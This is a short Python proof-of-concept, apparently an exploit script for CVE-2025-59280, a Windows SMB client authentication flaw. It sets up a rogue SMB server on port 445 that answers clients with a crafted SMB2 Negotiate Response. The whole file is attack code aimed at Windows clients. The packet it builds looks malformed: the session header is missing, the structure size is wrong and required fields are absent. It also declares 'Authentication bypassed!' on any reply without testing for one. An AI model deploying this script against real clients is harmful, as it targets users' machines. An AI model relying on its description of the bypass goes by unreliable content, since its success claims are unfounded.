# CVE-2025-59280 - Windows SMB Client Improper Authentication
# PoC for demonstrating SMB client authentication bypass
# This PoC simulates a malicious SMB server that exploits improper authentication
import socket
import struct
import threading
class MaliciousSMBServer:
"""
Simulated malicious SMB server exploiting CVE-2025-59280.
The vulnerability lies in the SMB client's failure to properly
validate authentication responses, allowing tampering.
"""
def __init__(self, host='0.0.0.0', port=445):
self.host = host
self.port = port
self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
def build_smb2_negotiate_response(self):
"""Build a malformed SMB2 Negotiate Response that exploits improper auth"""
# SMB2 Header (64 bytes)
header = b'\xfeSMB' # Protocol ID
header += struct.pack('<H', 64) # Header length
header += struct.pack('<H', 0) # Credit charge
header += struct.pack('<I', 0) # Status (SUCCESS)
header += struct.pack('<H', 0) # Command (Negotiate)
header += struct.pack('<H', 1) # Credits requested
header += struct.pack('<I', 0) # Flags
header += struct.pack('<I', 0) # Next command
header += struct.pack('<Q', 1) # Message ID
header += struct.pack('<I', 0) # Reserved
header += struct.pack('<I', 0) # Tree ID
header += struct.pack('<Q', 0) # Session ID (exploited - bypassed auth)
# Negotiate Response body
body = struct.pack('<H', 0) # Structure size
body += struct.pack('<H', 0x0311) # Dialect revision (SMB 3.1.1)
body += struct.pack('<H', 0) # Negotiate context count
body += struct.pack('<I', 0) # Capabilities
body += struct.pack('<I', 65536) # Max transact size
body += struct.pack('<I', 65536) # Max read size
body += struct.pack('<I', 65536) # Max write size
body += struct.pack('<Q', 0) # System time
body += struct.pack('<Q', 0) # Server start time
return header + body
def handle_client(self, client_socket, address):
"""Handle incoming SMB client connection"""
print(f"[+] Connection from {address}")
try:
# Receive client's negotiate request
data = client_socket.recv(4096)
if not data:
return
print(f"[+] Received {len(data)} bytes from client")
# Send malformed response exploiting improper authentication
response = self.build_smb2_negotiate_response()
client_socket.send(response)
print(f"[+] Sent exploit response ({len(response)} bytes)")
# Receive subsequent data - client accepts tampered connection
tampered_data = client_socket.recv(4096)
if tampered_data:
print(f"[!] Authentication bypassed! Received {len(tampered_data)} bytes")
# Attacker can now tamper with the SMB session
except Exception as e:
print(f"[-] Error: {e}")
finally:
client_socket.close()
def start(self):
"""Start the malicious SMB server"""
self.server_socket.bind((self.host, self.port))
self.server_socket.listen(5)
print(f"[*] Malicious SMB server listening on {self.host}:{self.port}")
print("[*] Waiting for vulnerable Windows SMB client connections...")
while True:
client, addr = self.server_socket.accept()
thread = threading.Thread(target=self.handle_client, args=(client, addr))
thread.daemon = True
thread.start()
if __name__ == '__main__':
server = MaliciousSMBServer()
server.start()